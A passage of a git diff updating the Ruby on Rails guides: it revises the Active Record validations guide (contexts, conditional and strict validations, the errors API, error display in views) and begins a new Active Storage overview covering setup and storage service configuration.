+and a hash with `:model`, `:attribute`, and `:value` key-value pairs.
+
+```ruby
+class Person < ApplicationRecord
   validates :username,
     uniqueness: {
       # object = person object being validated
       # data = { model: "Person", attribute: "Username", value: <username> }
       message: ->(object, data) do
-        "Hey #{object.name}!, #{data[:value]} is taken already! Try again #{Time.zone.tomorrow}"
+        "Hey #{object.name}, #{data[:value]} is already taken."
       end
     }
 end
 ```
 
+To translate error messages, see the [I18n
+guide](i18n.html#error-message-scopes).
+
 ### `:on`
 
-The `:on` option lets you specify when the validation should happen. The
-default behavior for all the built-in validation helpers is to be run on save
-(both when you're creating a new record and when you're updating it). If you
-want to change it, you can use `on: :create` to run the validation only when a
-new record is created or `on: :update` to run the validation only when a record
-is updated.
+The `:on` option lets you specify when the validation should happen. The default
+behavior for all the built-in validations is to be run on save (both when you're
+creating a new record and when you're updating it). If you want to change it,
+you can use `on: :create` to run the validation only when a new record is
+created or `on: :update` to run the validation only when a record is updated.
 
 ```ruby
 class Person < ApplicationRecord
@@ -847,64 +1236,88 @@ class Person < ApplicationRecord
 end
 ```
 
-You can also use `on:` to define custom context.
-Custom contexts need to be triggered explicitly
-by passing name of the context to `valid?`, `invalid?` or `save`.
+You can also use `:on` to define custom contexts. Custom contexts need to be
+triggered explicitly by passing the name of the context to `valid?`, `invalid?`,
+or `save`.
 
 ```ruby
 class Person < ApplicationRecord
   validates :email, uniqueness: true, on: :account_setup
   validates :age, numericality: true, on: :account_setup
 end
-
-person = Person.new
 ```
 
-`person.valid?(:account_setup)` executes both the validations
-without saving the model. And `person.save(context: :account_setup)`
-validates `person` in `account_setup` context before saving.
-On explicit triggers, model is validated by
-validations of only that context and validations without context.
+```irb
+irb> person = Person.new(age: 'thirty-three')
+irb> person.valid?
+=> true
+irb> person.valid?(:account_setup)
+=> false
+irb> person.errors.messages
+=> {:email=>["has already been taken"], :age=>["is not a number"]}
+```
 
-Strict Validations
-------------------
+`person.valid?(:account_setup)` executes both the validations without saving the
+model. `person.save(context: :account_setup)` validates `person` in the
+`account_setup` context before saving.
 
-You can also specify validations to be strict and raise
-`ActiveModel::StrictValidationFailed` when the object is invalid.
+Passing an array of symbols is also acceptable.
 
 ```ruby
-class Person < ApplicationRecord
-  validates :name, presence: { strict: true }
+class Book
+  include ActiveModel::Validations
+
+  validates :title, presence: true, on: [:update, :ensure_title]
 end
+```
 
-Person.new.valid?  # => ActiveModel::StrictValidationFailed: Name can't be blank
+```irb
+irb> book = Book.new(title: nil)
+irb> book.valid?
+=> true
+irb> book.valid?(:ensure_title)
+=> false
+irb> book.errors.messages
+=> {:title=>["can't be blank"]}
 ```
 
-There is also the ability to pass a custom exception to the `:strict` option.
+When triggered by an explicit context, validations are run for that context, as
+well as any validations _without_ a context.
 
 ```ruby
 class Person < ApplicationRecord
-  validates :token, presence: true, uniqueness: true, strict: TokenGenerationException
+  validates :email, uniqueness: true, on: :account_setup
+  validates :age, numericality: true, on: :account_setup
+  validates :name, presence: true
 end
+```
 
-Person.new.valid?  # => TokenGenerationException: Token can't be blank
+```irb
+irb> person = Person.new
+irb> person.valid?(:account_setup)
+=> false
+irb> person.errors.messages
+=> {:email=>["has already been taken"], :age=>["is not a number"], :name=>["can't be blank"]}
 ```
 
-Conditional Validation
-----------------------
+You can read more about use-cases for `:on` in the [Custom Contexts
+section](#custom-contexts).
+
+Conditional Validations
+-----------------------
 
-Sometimes it will make sense to validate an object only when a given predicate
-is satisfied. You can do that by using the `:if` and `:unless` options, which
-can take a symbol, a string, a `Proc` or an `Array`. You may use the `:if`
-option when you want to specify when the validation **should** happen. If you
-want to specify when the validation **should not** happen, then you may use the
+Sometimes it will make sense to validate an object only when a given condition
+is met. You can do that by using the `:if` and `:unless` options, which can take
+a symbol, a `Proc` or an `Array`. You may use the `:if` option when you want to
+specify when the validation **should** happen. Alternatively, if you want to
+specify when the validation **should not** happen, then you may use the
 `:unless` option.
 
 ### Using a Symbol with `:if` and `:unless`
 
-You can associate the `:if` and `:unless` options with a symbol corresponding
-to the name of a method that will get called right before validation happens.
-This is the most commonly used option.
+You can associate the `:if` and `:unless` options with a symbol corresponding to
+the name of a method that will get called right before validation happens. This
+is the most commonly used option.
 
 ```ruby
 class Order < ApplicationRecord
@@ -918,9 +1331,9 @@ end
 
 ### Using a Proc with `:if` and `:unless`
 
-Finally, it's possible to associate `:if` and `:unless` with a `Proc` object
-which will be called. Using a `Proc` object gives you the ability to write an
-inline condition instead of a separate method. This option is best suited for
+It is possible to associate `:if` and `:unless` with a `Proc` object which will
+be called. Using a `Proc` object gives you the ability to write an inline
+condition instead of a separate method. This option is best suited for
 one-liners.
 
 ```ruby
@@ -930,10 +1343,17 @@ class Account < ApplicationRecord
 end
 ```
 
-### Grouping Conditional validations
+As `lambda` is a type of `Proc`, it can also be used to write inline conditions
+taking advantage of the shortened syntax.
 
-Sometimes it is useful to have multiple validations use one condition. It can
-be easily achieved using `with_options`.
+```ruby
+validates :password, confirmation: true, unless: -> { password.blank? }
+```
+
+### Grouping Conditional Validations
+
+Sometimes it is useful to have multiple validations use one condition. It can be
+easily achieved using [`with_options`][].
 
 ```ruby
 class User < ApplicationRecord
@@ -944,8 +1364,11 @@ class User < ApplicationRecord
 end
 ```
 
-All validations inside of the `with_options` block will have automatically
-passed the condition `if: :is_admin?`
+All validations inside of the `with_options` block will automatically have `if:
+:is_admin?` merged into its options.
+
+[`with_options`]:
+    https://api.rubyonrails.org/classes/Object.html#method-i-with_options
 
 ### Combining Validation Conditions
 
@@ -956,44 +1379,119 @@ should happen, an `Array` can be used. Moreover, you can apply both `:if` and
 ```ruby
 class Computer < ApplicationRecord
   validates :mouse, presence: true,
-                    if: ["market.retail?", :desktop?],
+                    if: [Proc.new { |c| c.market.retail? }, :desktop?],
                     unless: Proc.new { |c| c.trackpad.present? }
 end
 ```
 
-The validation only runs when all the `:if` conditions and none of the
-`:unless` conditions are evaluated to `true`.
+The validation only runs when all the `:if` conditions and none of the `:unless`
+conditions are evaluated to `true`.
+
+Strict Validations
+------------------
+
+You can also specify validations to be strict and raise
+`ActiveModel::StrictValidationFailed` when the object is invalid.
+
+```ruby
+class Person < ApplicationRecord
+  validates :name, presence: { strict: true }
+end
+```
+
+```irb
+irb> Person.new.valid?
+=> ActiveModel::StrictValidationFailed: Name can't be blank
+```
+
+Strict validations ensure that an exception is raised immediately when
+validation fails, which can be useful in situations where you want to enforce
+immediate feedback or halt processing when invalid data is encountered. For
+example, you might use strict validations in a scenario where invalid input
+should prevent further operations, such as when processing critical transactions
+or performing data integrity checks.
+
+There is also the ability to pass a custom exception to the `:strict` option.
+
+```ruby
+class Person < ApplicationRecord
+  validates :token, presence: true, uniqueness: true, strict: TokenGenerationException
+end
+```
+
+```irb
+irb> Person.new.valid?
+=> TokenGenerationException: Token can't be blank
+```
+
+Listing Validators
+------------------
+
+If you want to find out all of the validators for a given object, you can use
+`validators`.
+
+For example, if we have the following model using a custom validator and a
+built-in validator:
+
+```ruby
+class Person < ApplicationRecord
+  validates :name, presence: true, on: :create
+  validates :email, format: URI::MailTo::EMAIL_REGEXP
+  validates_with MyOtherValidator, strict: true
+end
+```
+
+We can now use `validators` on the "Person" model to list all validators, or
+even check a specific field using `validators_on`.
+
+```irb
+irb> Person.validators
+#=> [#<ActiveRecord::Validations::PresenceValidator:0x10b2f2158
+      @attributes=[:name], @options={:on=>:create}>,
+     #<MyOtherValidatorValidator:0x10b2f17d0
+      @attributes=[:name], @options={:strict=>true}>,
+     #<ActiveModel::Validations::FormatValidator:0x10b2f0f10
+      @attributes=[:email],
+      @options={:with=>URI::MailTo::EMAIL_REGEXP}>]
+     #<MyOtherValidator:0x10b2f0948 @options={:strict=>true}>]
+
+irb> Person.validators_on(:name)
+#=> [#<ActiveModel::Validations::PresenceValidator:0x10b2f2158
+      @attributes=[:name], @options={on: :create}>]
+```
+
+[`validate`]:
+    https://api.rubyonrails.org/classes/ActiveModel/Validations/ClassMethods.html#method-i-validate
 
 Performing Custom Validations
 -----------------------------
 
-When the built-in validation helpers are not enough for your needs, you can
-write your own validators or validation methods as you prefer.
+When the built-in validations are not enough for your needs, you can write your
+own validators or validation methods as you prefer.
 
 ### Custom Validators
 
-Custom validators are classes that inherit from `ActiveModel::Validator`. These
-classes must implement the `validate` method which takes a record as an argument
-and performs the validation on it. The custom validator is called using the
-`validates_with` method.
+Custom validators are classes that inherit from [`ActiveModel::Validator`][].
+These classes must implement the `validate` method which takes a record as an
+argument and performs the validation on it. The custom validator is called using
+the `validates_with` method.
 
 ```ruby
 class MyValidator < ActiveModel::Validator
   def validate(record)
-    unless record.name.starts_with? 'X'
-      record.errors[:name] << 'Need a name starting with X please!'
+    unless record.name.start_with? "X"
+      record.errors.add :name, "Provide a name starting with X, please!"
     end
   end
 end
 
-class Person
-  include ActiveModel::Validations
+class Person < ApplicationRecord
   validates_with MyValidator
 end
 ```
 
-The easiest way to add custom validators for validating individual attributes
-is with the convenient `ActiveModel::EachValidator`. In this case, the custom
+The easiest way to add custom validators for validating individual attributes is
+with the convenient [`ActiveModel::EachValidator`][]. In this case, the custom
 validator class must implement a `validate_each` method which takes three
 arguments: record, attribute, and value. These correspond to the instance, the
 attribute to be validated, and the value of the attribute in the passed
@@ -1002,8 +1500,8 @@ instance.
 ```ruby
 class EmailValidator < ActiveModel::EachValidator
   def validate_each(record, attribute, value)
-    unless value =~ /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\z/i
-      record.errors[attribute] << (options[:message] || "is not an email")
+    unless URI::MailTo::EMAIL_REGEXP.match?(value)
+      record.errors.add attribute, (options[:message] || "is not an email")
     end
   end
 end
@@ -1013,23 +1511,27 @@ class Person < ApplicationRecord
 end
 ```
 
-As shown in the example, you can also combine standard validations with your
-own custom validators.
+As shown in the example, you can also combine standard validations with your own
+custom validators.
+
+[`ActiveModel::EachValidator`]:
+    https://api.rubyonrails.org/classes/ActiveModel/EachValidator.html
+[`ActiveModel::Validator`]:
+    https://api.rubyonrails.org/classes/ActiveModel/Validator.html
 
 ### Custom Methods
 
-You can also create methods that verify the state of your models and add
-messages to the `errors` collection when they are invalid. You must then
-register these methods by using the `validate`
-([API](http://api.rubyonrails.org/classes/ActiveModel/Validations/ClassMethods.html#method-i-validate))
-class method, passing in the symbols for the validation methods' names.
+You can also create methods that verify the state of your models and add errors
+to the `errors` collection when they are invalid. You must then register these
+methods by using the [`validate`][] class method, passing in the symbols for the
+validation methods' names.
 
 You can pass more than one symbol for each class method and the respective
 validations will be run in the same order as they were registered.
 
-The `valid?` method will verify that the errors collection is empty,
-so your custom validation methods should add errors to it when you
-wish validation to fail:
+The `valid?` method will verify that the `errors` collection is empty, so your
+custom validation methods should add errors to it when you wish validation to
+fail:
 
 ```ruby
 class Invoice < ApplicationRecord
@@ -1050,10 +1552,10 @@ class Invoice < ApplicationRecord
 end
 ```
 
-By default, such validations will run every time you call `valid?`
-or save the object. But it is also possible to control when to run these
-custom validations by giving an `:on` option to the `validate` method,
-with either: `:create` or `:update`.
+By default, such validations will run every time you call `valid?` or save the
+object. But it is also possible to control when to run these custom validations
+by giving an `:on` option to the `validate` method, with either: `:create` or
+`:update`.
 
 ```ruby
 class Invoice < ApplicationRecord
@@ -1065,230 +1567,381 @@ class Invoice < ApplicationRecord
 end
 ```
 
+See the section above for more details about [`:on`](#on).
+
+### Custom Contexts
+
+You can define your own custom validation contexts for callbacks, which is
+useful when you want to perform validations based on specific scenarios or group
+certain callbacks together and run them in a specific context. A common scenario
+for custom contexts is when you have a multi-step form and want to perform
+validations per step.
+
+For instance, you might define custom contexts for each step of the form:
+
+```ruby
+class User < ApplicationRecord
+  validate :personal_information, on: :personal_info
+  validate :contact_information, on: :contact_info
+  validate :location_information, on: :location_info
+
+  private
+    def personal_information
+      errors.add(:base, "Name must be present") if first_name.blank?
+      errors.add(:base, "Age must be at least 18") if age && age < 18
+    end
+
+    def contact_information
+      errors.add(:base, "Email must be present") if email.blank?
+      errors.add(:base, "Phone number must be present") if phone.blank?
+    end
+
+    def location_information
+      errors.add(:base, "Address must be present") if address.blank?
+      errors.add(:base, "City must be present") if city.blank?
+    end
+end
+```
+
+In these cases, you may be tempted to [skip
+callbacks](active_record_callbacks.html#skipping-callbacks) altogether, but
+defining a custom context can be a more structured approach. You will need to
+combine a context with the `:on` option to define a custom context for a
+callback.
+
+Once you've defined the custom context, you can use it to trigger the
+validations:
+
+```irb
+irb> user = User.new(name: "John Doe", age: 17, email: "jane@example.com", phone: "1234567890", address: "123 Main St")
+irb> user.valid?(:personal_info) # => false
+irb> user.valid?(:contact_info) # => true
+irb> user.valid?(:location_info) # => false
+```
+
+You can also use the custom contexts to trigger the validations on any method
+that supports callbacks. For example, you could use the custom context to
+trigger the validations on `save`:
+
+```irb
+irb> user = User.new(name: "John Doe", age: 17, email: "jane@example.com", phone: "1234567890", address: "123 Main St")
+irb> user.save(context: :personal_info) # => false
+irb> user.save(context: :contact_info) # => true
+irb> user.save(context: :location_info) # => false
+```
+
 Working with Validation Errors
 ------------------------------
 
-In addition to the `valid?` and `invalid?` methods covered earlier, Rails provides a number of methods for working with the `errors` collection and inquiring about the validity of objects.
+The [`valid?`][] and [`invalid?`][] methods only provide a summary status on
+validity. However you can dig deeper into each individual error by using various
+methods from the [`errors`][] collection.
 
-The following is a list of the most commonly used methods. Please refer to the `ActiveModel::Errors` documentation for a list of all the available methods.
+The following is a list of the most commonly used methods. Please refer to the
+[`ActiveModel::Errors`][] documentation for a list of all the available methods.
+
+[`ActiveModel::Errors`]:
+    https://api.rubyonrails.org/classes/ActiveModel/Errors.html
 
 ### `errors`
 
-Returns an instance of the class `ActiveModel::Errors` containing all errors. Each key is the attribute name and the value is an array of strings with all errors.
+The [`errors`][] method is the starting point through which you can drill down
+into various details of each error.
+
+This returns an instance of the class `ActiveModel::Errors` containing all
+errors, each error is represented by an [`ActiveModel::Error`][] object.
 
 ```ruby
 class Person < ApplicationRecord
   validates :name, presence: true, length: { minimum: 3 }
 end
+```
 
-person = Person.new
-person.valid? # => false
-person.errors.messages
- # => {:name=>["can't be blank", "is too short (minimum is 3 characters)"]}
+```irb
+irb> person = Person.new
+irb> person.valid?
+=> false
+irb> person.errors.full_messages
+=> ["Name can't be blank", "Name is too short (minimum is 3 characters)"]
 
-person = Person.new(name: "John Doe")
-person.valid? # => true
-person.errors.messages # => {}
+irb> person = Person.new(name: "John Doe")
+irb> person.valid?
+=> true
+irb> person.errors.full_messages
+=> []
+
+irb> person = Person.new
+irb> person.valid?
+=> false
+irb> person.errors.first.details
+=> {:error=>:too_short, :count=>3}
 ```
 
+[`ActiveModel::Error`]:
+    https://api.rubyonrails.org/classes/ActiveModel/Error.html
+
 ### `errors[]`
 
-`errors[]` is used when you want to check the error messages for a specific attribute. It returns an array of strings with all error messages for the given attribute, each string with one error message. If there are no errors related to the attribute, it returns an empty array.
+[`errors[]`][Errors#squarebrackets] is used when you want to check the error
+messages for a specific attribute. It returns an array of strings with all error
+messages for the given attribute, each string with one error message. If there
+are no errors related to the attribute, it returns an empty array.
+
+This method is only useful _after_ validations have been run, because it only
+inspects the `errors` collection and does not trigger validations itself. It's
+different from the `ActiveRecord::Base#invalid?` method explained above because
+it doesn't verify the validity of the object as a whole. `errors[]` only checks
+to see whether there are errors found on an individual attribute of the object.
 
 ```ruby
 class Person < ApplicationRecord
   validates :name, presence: true, length: { minimum: 3 }
 end
+```
 
-person = Person.new(name: "John Doe")
-person.valid? # => true
-person.errors[:name] # => []
+```irb
+irb> person = Person.new(name: "John Doe")
+irb> person.valid?
+=> true
+irb> person.errors[:name]
+=> []
 
-person = Person.new(name: "JD")
-person.valid? # => false
-person.errors[:name] # => ["is too short (minimum is 3 characters)"]
+irb> person = Person.new(name: "JD")
+irb> person.valid?
+=> false
+irb> person.errors[:name]
+=> ["is too short (minimum is 3 characters)"]
 
-person = Person.new
-person.valid? # => false
-person.errors[:name]
- # => ["can't be blank", "is too short (minimum is 3 characters)"]
+irb> person = Person.new
+irb> person.valid?
+=> false
+irb> person.errors[:name]
+=> ["can't be blank", "is too short (minimum is 3 characters)"]
 ```
 
-### `errors.add`
+### `errors.where` and Error Object
+
+Sometimes we may need more information about each error besides its message.
+Each error is encapsulated as an `ActiveModel::Error` object, and the
+[`where`][] method is the most common way of access.
 
-The `add` method lets you add an error message related to a particular attribute. It takes as arguments the attribute and the error message.
+`where` returns an array of error objects filtered by various degrees of
+conditions.
 
-The `errors.full_messages` method (or its equivalent, `errors.to_a`) returns the error messages in a user-friendly format, with the capitalized attribute name prepended to each message, as shown in the examples below.
+Given the following validation:
 
 ```ruby
 class Person < ApplicationRecord
-  def a_method_used_for_validation_purposes
-    errors.add(:name, "cannot contain the characters !@#%*()_-+=")
-  end
+  validates :name, presence: true, length: { minimum: 3 }
 end
+```
 
-person = Person.create(name: "!@#")
+We can filter for just the `attribute` by passing it as the first parameter to
+`errors.where(:attr)`. The second parameter is used for filtering the `type` of
+error we want by calling `errors.where(:attr, :type)`.
 
-person.errors[:name]
- # => ["cannot contain the characters !@#%*()_-+="]
+```irb
+irb> person = Person.new
+irb> person.valid?
+=> false
+
+irb> person.errors.where(:name)
+=> [ ... ] # all errors for :name attribute
 
-person.errors.full_messages
- # => ["Name cannot contain the characters !@#%*()_-+="]
+irb> person.errors.where(:name, :too_short)
+=> [ ... ] # :too_short errors for :name attribute
 ```
 
-An equivalent to `errors#add` is to use `<<` to append a message to the `errors.messages` array for an attribute:
+Lastly, we can filter by any `options` that may exist on the given type of error
+object.
 
-```ruby
-  class Person < ApplicationRecord
-    def a_method_used_for_validation_purposes
-      errors.messages[:name] << "cannot contain the characters !@#%*()_-+="
-    end
-  end
+```irb
+irb> person = Person.new
+irb> person.valid?
+=> false
 
-  person = Person.create(name: "!@#")
+irb> person.errors.where(:name, :too_short, minimum: 3)
+=> [ ... ] # all name errors being too short and minimum is 3
+```
 
-  person.errors[:name]
-   # => ["cannot contain the characters !@#%*()_-+="]
+You can read various information from these error objects:
 
-  person.errors.to_a
-   # => ["Name cannot contain the characters !@#%*()_-+="]
+```irb
+irb> error = person.errors.where(:name).last
+
+irb> error.attribute
+=> :name
+irb> error.type
+=> :too_short
+irb> error.options[:count]
+=> 3
 ```
 
-### `errors.details`
+You can also generate the error message:
 
-You can specify a validator type to the returned error details hash using the
-`errors.add` method.
+```irb
+irb> error.message
+=> "is too short (minimum is 3 characters)"
+irb> error.full_message
+=> "Name is too short (minimum is 3 characters)"
+```
 
-```ruby
-class Person < ApplicationRecord
-  def a_method_used_for_validation_purposes
-    errors.add(:name, :invalid_characters)
-  end
-end
+The [`full_message`][] method generates a more user-friendly message, with the
+capitalized attribute name prepended. (To customize the format that
+`full_message` uses, see the [I18n guide](i18n.html#active-model-methods).)
 
-person = Person.create(name: "!@#")
+[`full_message`]:
+    https://api.rubyonrails.org/classes/ActiveModel/Errors.html#method-i-full_message
+[`where`]:
+    https://api.rubyonrails.org/classes/ActiveModel/Errors.html#method-i-where
 
-person.errors.details[:name]
-# => [{error: :invalid_characters}]
-```
+### `errors.add`
 
-To improve the error details to contain the unallowed characters set for instance,
-you can pass additional keys to `errors.add`.
+The [`add`][] method creates the error object by taking the `attribute`, the
+error `type` and additional options hash. This is useful when writing your own
+validator, as it lets you define very specific error situations.
 
 ```ruby
 class Person < ApplicationRecord
-  def a_method_used_for_validation_purposes
-    errors.add(:name, :invalid_characters, not_allowed: "!@#%*()_-+=")
+  validate do |person|
+    errors.add :name, :too_plain, message: "is not cool enough"
   end
 end
+```
 
-person = Person.create(name: "!@#")
-
-person.errors.details[:name]
-# => [{error: :invalid_characters, not_allowed: "!@#%*()_-+="}]
+```irb
+irb> person = Person.new
+irb> person.errors.where(:name).first.type
+=> :too_plain
+irb> person.errors.where(:name).first.full_message
+=> "Name is not cool enough"
 ```
 
-All built in Rails validators populate the details hash with the corresponding
-validator type.
+[`add`]:
+    https://api.rubyonrails.org/classes/ActiveModel/Errors.html#method-i-add
 
 ### `errors[:base]`
 
-You can add error messages that are related to the object's state as a whole, instead of being related to a specific attribute. You can use this method when you want to say that the object is invalid, no matter the values of its attributes. Since `errors[:base]` is an array, you can simply add a string to it and it will be used as an error message.
+You can add errors that are related to the object's state as a whole, instead of
+being related to a specific attribute. To do this you must use `:base` as the
+attribute when adding a new error.
 
 ```ruby
 class Person < ApplicationRecord
-  def a_method_used_for_validation_purposes
-    errors[:base] << "This person is invalid because ..."
+  validate do |person|
+    errors.add :base, :invalid, message: "This person is invalid because ..."
   end
 end
 ```
 
-### `errors.clear`
+```irb
+irb> person = Person.new
+irb> person.errors.where(:base).first.full_message
+=> "This person is invalid because ..."
+```
+
+### `errors.size`
 
-The `clear` method is used when you intentionally want to clear all the messages in the `errors` collection. Of course, calling `errors.clear` upon an invalid object won't actually make it valid: the `errors` collection will now be empty, but the next time you call `valid?` or any method that tries to save this object to the database, the validations will run again. If any of the validations fail, the `errors` collection will be filled again.
+The `size` method returns the total number of errors for the object.
 
 ```ruby
 class Person < ApplicationRecord
   validates :name, presence: true, length: { minimum: 3 }
 end
+```
 
-person = Person.new
-person.valid? # => false
-person.errors[:name]
- # => ["can't be blank", "is too short (minimum is 3 characters)"]
-
-person.errors.clear
-person.errors.empty? # => true
-
-person.save # => false
+```irb
+irb> person = Person.new
+irb> person.valid?
+=> false
+irb> person.errors.size
+=> 2
 
-person.errors[:name]
-# => ["can't be blank", "is too short (minimum is 3 characters)"]
+irb> person = Person.new(name: "Andrea", email: "andrea@example.com")
+irb> person.valid?
+=> true
+irb> person.errors.size
+=> 0
 ```
 
-### `errors.size`
+### `errors.clear`
 
-The `size` method returns the total number of error messages for the object.
+The `clear` method is used when you intentionally want to clear the `errors`
+collection. Of course, calling `errors.clear` upon an invalid object won't
+actually make it valid: the `errors` collection will now be empty, but the next
+time you call `valid?` or any method that tries to save this object to the
+database, the validations will run again. If any of the validations fail, the
+`errors` collection will be filled again.
 
 ```ruby
 class Person < ApplicationRecord
   validates :name, presence: true, length: { minimum: 3 }
 end
+```
 
-person = Person.new
-person.valid? # => false
-person.errors.size # => 2
+```irb
+irb> person = Person.new
+irb> person.valid?
+=> false
+irb> person.errors.empty?
+=> false
 
-person = Person.new(name: "Andrea", email: "andrea@example.com")
-person.valid? # => true
-person.errors.size # => 0
+irb> person.errors.clear
+irb> person.errors.empty?
+=> true
+
+irb> person.save
+=> false
+
+irb> person.errors.empty?
+=> false
 ```
 
 Displaying Validation Errors in Views
 -------------------------------------
 
-Once you've created a model and added validations, if that model is created via
-a web form, you probably want to display an error message when one of the
-validations fail.
+Once you've defined a model and added validations, you'll want to display an
+error message when a validation fails during the creation of that model via a
+web form.
 
-Because every application handles this kind of thing differently, Rails does
-not include any view helpers to help you generate these messages directly.
-However, due to the rich number of methods Rails gives you to interact with
-validations in general, it's fairly easy to build your own. In addition, when
-generating a scaffold, Rails will put some ERB into the `_form.html.erb` that
-it generates that displays the full list of errors on that model.
+Since every application handles displaying validation errors differently, Rails
+does not include any view helpers for generating these messages. However, Rails
+gives you a rich number of methods to interact with validations that you can use
+to build your own. In addition, when generating a scaffold, Rails will put some
+generated ERB into the `_form.html.erb` that displays the full list of errors on
+that model.
 
 Assuming we have a model that's been saved in an instance variable named
 `@article`, it looks like this:
 
-```ruby
+```html+erb
 <% if @article.errors.any? %>
   <div id="error_explanation">
     <h2><%= pluralize(@article.errors.count, "error") %> prohibited this article from being saved:</h2>
 
     <ul>
-    <% @article.errors.full_messages.each do |msg| %>
-      <li><%= msg %></li>
-    <% end %>
+      <% @article.errors.each do |error| %>
+        <li><%= error.full_message %></li>
+      <% end %>
     </ul>
   </div>
 <% end %>
 ```
 
-Furthermore, if you use the Rails form helpers to generate your forms, when
-a validation error occurs on a field, it will generate an extra `<div>` around
-the entry.
+Furthermore, if you use the Rails form helpers to generate your forms, when a
+validation error occurs on a field, it will generate an extra `<div>` around the
+entry.
 
-```
+```html
 <div class="field_with_errors">
- <input id="article_title" name="article[title]" size="30" type="text" value="">
+  <input id="article_title" name="article[title]" size="30" type="text" value="">
 </div>
 ```
 
-You can then style this div however you'd like. The default scaffold that
-Rails generates, for example, adds this CSS rule:
+You can then style this div however you'd like. The default scaffold that Rails
+generates, for example, adds this CSS rule:
 
-```
+```css
 .field_with_errors {
   padding: 2px;
   background-color: red;
@@ -1297,3 +1950,18 @@ Rails generates, for example, adds this CSS rule:
 ```
 
 This means that any field with an error ends up with a 2 pixel red border.
+
+### Customizing Error Field Wrapper
+
+Rails uses the `field_error_proc` configuration option to wrap fields with
+errors in HTML. By default, this option wraps the erroneous form fields in a
+`<div>` with a `field_with_errors` class, as seen in the example above:
+
+```ruby
+config.action_view.field_error_proc = Proc.new { |html_tag, instance| content_tag :div, html_tag, class: "field_with_errors" }
+```
+
+You can customize this behavior by modifying the field_error_proc setting in
+your application configuration, allowing you to change how errors are presented
+in your forms. For more details,refer to the [Configuration Guide on
+field_error_proc](configuring.html#config-action-view-field-error-proc).
diff --git a/guides/source/active_storage_overview.md b/guides/source/active_storage_overview.md
new file mode 100644
index 0000000000000..e07af08856787
--- /dev/null
+++ b/guides/source/active_storage_overview.md
@@ -0,0 +1,1657 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
+
+Active Storage Overview
+=======================
+
+This guide covers how to attach files to your Active Record models.
+
+After reading this guide, you will know:
+
+* How to attach one or many files to a record.
+* How to delete an attached file.
+* How to link to an attached file.
+* How to use variants to transform images.
+* How to generate an image representation of a non-image file, such as a PDF or a video.
+* How to send file uploads directly from browsers to a storage service,
+  bypassing your application servers.
+* How to clean up files stored during testing.
+* How to implement support for additional storage services.
+
+--------------------------------------------------------------------------------
+
+What is Active Storage?
+-----------------------
+
+Active Storage facilitates uploading files to a cloud storage service like
+Amazon S3, or Google Cloud Storage and attaching those
+files to Active Record objects. It comes with a local disk-based service for
+development and testing and supports mirroring files to subordinate services for
+backups and migrations.
+
+Using Active Storage, an application can transform image uploads or generate image
+representations of non-image uploads like PDFs and videos, and extract metadata from
+arbitrary files.
+
+### Requirements
+
+Various features of Active Storage depend on third-party software which Rails
+will not install, and must be installed separately:
+
+* [libvips](https://github.com/libvips/libvips) v8.6+ or [ImageMagick](https://imagemagick.org/index.php) for image analysis and transformations
+* [ffmpeg](http://ffmpeg.org/) v3.4+ for video previews and ffprobe for video/audio analysis
+* [poppler](https://poppler.freedesktop.org/) or [muPDF](https://mupdf.com/) for PDF previews
+
+TIP: Compared to libvips, ImageMagick is better known and more widely available. However, libvips can be [up to 10x faster and consume 1/10 the memory](https://github.com/libvips/libvips/wiki/Speed-and-memory-use). For JPEG files, this can be further improved by replacing `libjpeg-dev` with `libjpeg-turbo-dev`, which is [2-7x faster](https://libjpeg-turbo.org/About/Performance).
+
+WARNING: Before you install and use third-party software, make sure you understand the licensing implications of doing so. MuPDF, in particular, is licensed under AGPL and requires a commercial license for some use.
+
+## Setup
+
+```bash
+$ bin/rails active_storage:install
+$ bin/rails db:migrate
+```
+
+This sets up configuration, and creates the three tables Active Storage uses:
+`active_storage_blobs`, `active_storage_attachments`, and `active_storage_variant_records`.
+
+| Table      | Purpose |
+| ------------------- | ----- |
+| `active_storage_blobs` | Stores data about uploaded files, such as filename and content type. |
+| `active_storage_attachments` | A polymorphic join table that [connects your models to blobs](#attaching-files-to-records). If your model's class name changes, you will need to run a migration on this table to update the underlying `record_type` to your model's new class name. |
+| `active_storage_variant_records` | If [variant tracking](#attaching-files-to-records) is enabled, stores records for each variant that has been generated. |
+
+WARNING: If you are using UUIDs instead of integers as the primary key on your models, you should set `Rails.application.config.generators { |g| g.orm :active_record, primary_key_type: :uuid }` in a config file.
+
+Declare Active Storage services in `config/storage.yml`. For each service your
+application uses, provide a name and the requisite configuration. The example
+below declares three services named `local`, `test`, and `amazon`:
+
+```yaml
+local:
+  service: Disk
+  root: <%= Rails.root.join("storage") %>
+
+test:
+  service: Disk
+  root: <%= Rails.root.join("tmp/storage") %>
+
+# Use bin/rails credentials:edit to set the AWS secrets (as aws:access_key_id|secret_access_key)
+amazon:
+  service: S3
+  access_key_id: <%= Rails.application.credentials.dig(:aws, :access_key_id) %>
+  secret_access_key: <%= Rails.application.credentials.dig(:aws, :secret_access_key) %>
+  bucket: your_own_bucket-<%= Rails.env %>
+  region: "" # e.g. 'us-east-1'
+```
+
+Tell Active Storage which service to use by setting
+`Rails.application.config.active_storage.service`. Because each environment will
+likely use a different service, it is recommended to do this on a
+per-environment basis. To use the disk service from the previous example in the
+development environment, you would add the following to
+`config/environments/development.rb`:
+
+```ruby
+# Store files locally.
+config.active_storage.service = :local
+```
+
+To use the S3 service in production, you would add the following to
+`config/environments/production.rb`:
+
+```ruby
+# Store files on Amazon S3.
+config.active_storage.service = :amazon
+```
+
+To use the test service when testing, you would add the following to
+`config/environments/test.rb`:
+
+```ruby
+# Store uploaded files on the local file system in a temporary directory.
+config.active_storage.service = :test
+```
+
+NOTE: Configuration files that are environment-specific will take precedence:
+in production, for example, the `config/storage/production.yml` file (if existent)
+will take precedence over the `config/storage.yml` file.
+
+It is recommended to use `Rails.env` in the bucket names to further reduce the risk of accidentally destroying production data.
+
+```yaml
+amazon:
+  service: S3
+  # ...
+  bucket: your_own_bucket-<%= Rails.env %>
+
+google:
+  service: GCS
+  # ...
+  bucket: your_own_bucket-<%= Rails.env %>
+```
+
+Continue reading for more information on the built-in service adapters (e.g.
+`Disk` and `S3`) and the configuration they require.
+
+### Disk Service
+
+Declare a Disk service in `config/storage.yml`:
+
+```yaml
+local:
+  service: Disk
+  root: <%= Rails.root.join("storage") %>
+```
+
+### S3 Service (Amazon S3 and S3-compatible APIs)
+
